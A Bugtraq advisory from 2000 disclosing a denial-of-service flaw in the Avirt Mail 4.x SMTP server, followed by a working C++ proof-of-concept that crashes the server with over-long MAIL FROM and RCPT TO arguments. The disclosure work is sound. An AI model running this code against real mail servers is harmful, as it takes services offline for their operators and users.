Bugtraq mailing list archives

Avirt Mail 4.x DoS


From: Martin <martin_o () ALGONET SE>
Date: Tue, 24 Oct 2000 00:49:54 +0200

-

Issue:
------
Avirt Mail 4.x up to latest version is vulnerable to denial of service
while handling a SMTP session.

Tested versions:
----------------
Avirt Mail 4.0 (build 4124) - vulnerable
Avirt Mail 4.2 (build 4807) - vulnerable

Both versions where tested on Windows 98 since I do not have access to
the more expensive Windows systems, however any win32 system ought to
be vulnerable.

Details:
--------
When connecting to port 25 on a computer running any of the above
mentioned versions of Avirt Mail, it is possible to crash the server by
supplying an unusually long from- or recieptant-address. The crash
occurs when the connection to the client is closed.

If 272 or more characters are supplied after "RCPT TO:" the server will
crash as soon as the session is closed and no more connections will
be allowed until the server has been restarted. The attack will not be
logged by Avirt Mail. The server will crash both if the session is
aborted before completing the mail or if a "DATA" command is sent.
Wether the connection is closed by quit or by a dropped connection
makes no difference.

If 556 or more characters are supplied after "MAIL FROM:" there are
two possible outcomes:

1. If "RCPT TO:" and "DATA" commands are appended, the server will not
crash, the server will store the message with the search-path to the
SMTPOut directory at the end of the FROM-line. If a real TO-address
where to be used, this will processed as a normal mail. No exception
log will be made.

2. If the session is aborted directly after the "MAIL FROM:" command,
the server will crash without logging the attack and no more connections
will be allowed before the server is restarted.

Specification:
--------------
These flaws are probably due to insufficient bounds-checking somewhere
in the code, leading to an overflow in either the array holding the
from- or recieptant-address.

The flaws are demonstrated in the attached code (win32 console code).
The program when compiled takes two arguments:

ip-address type

Where type can be one of the following
1 - Overflow in RCPT TO: command.   (aborted session)
2 - Overflow in MAIL FROM: command. (aborted session)
3 - Overflow in RCPT TO: command.   (finnished session)
2 - Overflow in MAIL FROM: command. (finnished session)

From the researching I have done, these flaws does not seem to be
exploitable (in the means of running arbitary code on the computer
running the server). Therefore, they do not pose as a direct integrity
thread, but mere as a DoS threat.
This conclusion may however be proven wrong.

Complying to the Software License agreement, I have not in any way tried
to reconstruct the sourcecode of Avirt Mail. All conclusions have been
made by examining the in- and out-put of the program and the state of
processor registers at crash-time.

Vendor:
-------
Avirt was informed about this by mail Sep 7 2000, with the notice that
the information was going to be released as full disclosure in 40 days
without further notice if they hadn't issued information by then.
Sep 8 2000 Avirt confirmed the mail and told they had forwarded the
information to their developers.
Avirt has not been in contact since then and no update has been released
on their homepage. More than forty days has passed.

Information about Avirt and a trial version of Avirt Mail can be found at
http://www.avirt.com/

-

/Wersion
martin_o () algonet se
http://wersion.org/
(this report and the attached file is also available here)
/*
   Small piece of code demonstrating DoS vulnerability in Avirt Mail 4.0-4.2
   wersion () trust-me com
   Win32 console code
*/
#include <mem.h>
#include <winsock.h>
#include <iostream.h>
#include <stdlib.h>

#define RCPT_SIZE 272
#define FROM_SIZE 556

struct sckssString
{
   char *szBuffer;
   int nSize;
};

char szHELO[] = "HELO anonymous";
char szMAIL[] = "MAIL FROM: ";
char szRCPT[] = "RCPT TO: ";
char szQUIT[] = "QUIT";
char szDATA[] = "DATA\nTest data\n.";

void socksenddata(int socket, sckssString* data)
{
   if(send(socket,data->szBuffer,data->nSize,NULL)!=SOCKET_ERROR)
   {
      cout << "->" << data->szBuffer << endl;
      return;
   }
   else
   {
      cout << endl << "WSA error (" << WSAGetLastError() << ")" << endl;
      exit(1);
   }
}

void socksendendline(int socket)
{
   if(send(socket,"\n",1,NULL)!=SOCKET_ERROR) return;
   else
   {
      cout << endl <<  "WSA error (" << WSAGetLastError() << ")" << endl;
      exit(1);
   }
}

void socksendanum(int socket, unsigned long int num)
{
   char *tempa = new char[num+1];
   memset(tempa,'A',num);
   tempa[num]=0;
   if(send(socket,tempa,num,NULL)!=SOCKET_ERROR)
   {
      cout << "->" << tempa << endl;
      return;
   }
   else
   {
      cout << endl <<  "WSA error (" << WSAGetLastError() << ")" << endl;
      exit(1);
   }
   delete[] tempa;
}

int main(int argv, char **argc)
{
   if(argv<3)
   {
      cout << "Usage: " << argc[0] << " ip-address type" << endl;
      cout << "Types:" << endl;
      cout << "1 - Overflow in RCPT TO: command.   (aborted session)" << endl;
      cout << "2 - Overflow in MAIL FROM: command. (aborted session)" << endl;
      cout << "3 - Overflow in RCPT TO: command.   (finnished session)" << endl;
      cout << "2 - Overflow in MAIL FROM: command. (finnished session)" << endl;
      exit(1);
   }
   WORD wVersionRequested = MAKEWORD(1,1);
   WSADATA wsaData;
   WSAStartup(wVersionRequested, &wsaData);

   SOCKADDR_IN saExploit;
   saExploit.sin_family = PF_INET;
   saExploit.sin_addr.s_addr = inet_addr(argc[1]);
   saExploit.sin_port = htons(25);

   SOCKET sckExploit = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
   if (sckExploit == INVALID_SOCKET)
   {
      cout << "WSA error (" << WSAGetLastError() << ")" << endl;
      WSACleanup();
      return 1;
   }

   if (connect(sckExploit,(LPSOCKADDR)&saExploit,sizeof(saExploit))==SOCKET_ERROR)
   {
      cout << "WSA error (" << WSAGetLastError() << ")" << endl;
      shutdown(sckExploit,2);
      closesocket(sckExploit);
      WSACleanup();
      return 1;
   }

   sckssString sckssHelo;
   sckssHelo.nSize = strlen(szHELO);
   sckssHelo.szBuffer = new char[sckssHelo.nSize+1];
   strcpy(sckssHelo.szBuffer, szHELO);

   sckssString sckssMail;
   sckssMail.nSize = strlen(szMAIL);
   sckssMail.szBuffer = new char[sckssMail.nSize+1];
   strcpy(sckssMail.szBuffer, szMAIL);

   sckssString sckssRcpt;
   sckssRcpt.nSize = strlen(szRCPT);
   sckssRcpt.szBuffer = new char[sckssRcpt.nSize+1];
   strcpy(sckssRcpt.szBuffer, szRCPT);

   sckssString sckssQuit;
   sckssQuit.nSize = strlen(szQUIT);
   sckssQuit.szBuffer = new char[sckssQuit.nSize+1];
   strcpy(sckssQuit.szBuffer, szQUIT);

   sckssString sckssData;
   sckssData.nSize = strlen(szDATA);
   sckssData.szBuffer = new char[sckssData.nSize+1];
   strcpy(sckssData.szBuffer, szDATA);

   cout << "Beginning session..." << endl;

   switch(atoi(argc[2]))
   {
      case 1:
      {
         socksenddata(sckExploit,&sckssHelo);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssMail);
         socksendanum(sckExploit,5);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssRcpt);
         cout << "Overflowing RCPT TO:" << endl;
         socksendanum(sckExploit,RCPT_SIZE);
         socksendendline(sckExploit);

         cout << "Aborting session before data." << endl;
         socksenddata(sckExploit,&sckssQuit);
         socksendendline(sckExploit);
         break;
      }
      case 2:
      {
         socksenddata(sckExploit,&sckssHelo);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssMail);
         cout << "Overflowing MAIL FROM:" << endl;
         socksendanum(sckExploit,FROM_SIZE);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssRcpt);
         socksendanum(sckExploit,5);
         socksendendline(sckExploit);

         cout << "Aborting session before data." << endl;
         socksenddata(sckExploit,&sckssQuit);
         socksendendline(sckExploit);
         break;
      }
      case 3:
      {
         socksenddata(sckExploit,&sckssHelo);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssMail);
         socksendanum(sckExploit,5);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssRcpt);
         cout << "Overflowing RCPT TO:" << endl;
         socksendanum(sckExploit,RCPT_SIZE);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssData);
         socksendendline(sckExploit);

         cout << "Ending session." << endl;
         socksenddata(sckExploit,&sckssQuit);
         socksendendline(sckExploit);
         break;
      }
      case 4:
      {
         socksenddata(sckExploit,&sckssHelo);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssMail);
         cout << "Overflowing MAIL FROM:" << endl;
         socksendanum(sckExploit,FROM_SIZE);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssRcpt);
         socksendanum(sckExploit,5);
         socksendendline(sckExploit);

         socksenddata(sckExploit,&sckssData);
         socksendendline(sckExploit);

         cout << "Ending session." << endl;
         socksenddata(sckExploit,&sckssQuit);
         socksendendline(sckExploit);
         break;
      }
      default:
      {
         cout << "Type " << argc[2] << " not allowed." << endl;
         break;
      }
   }

   shutdown(sckExploit,2);
   closesocket(sckExploit);
   WSACleanup();
   cout << endl << "Ready!" << endl;
   return 0;
}


Current thread: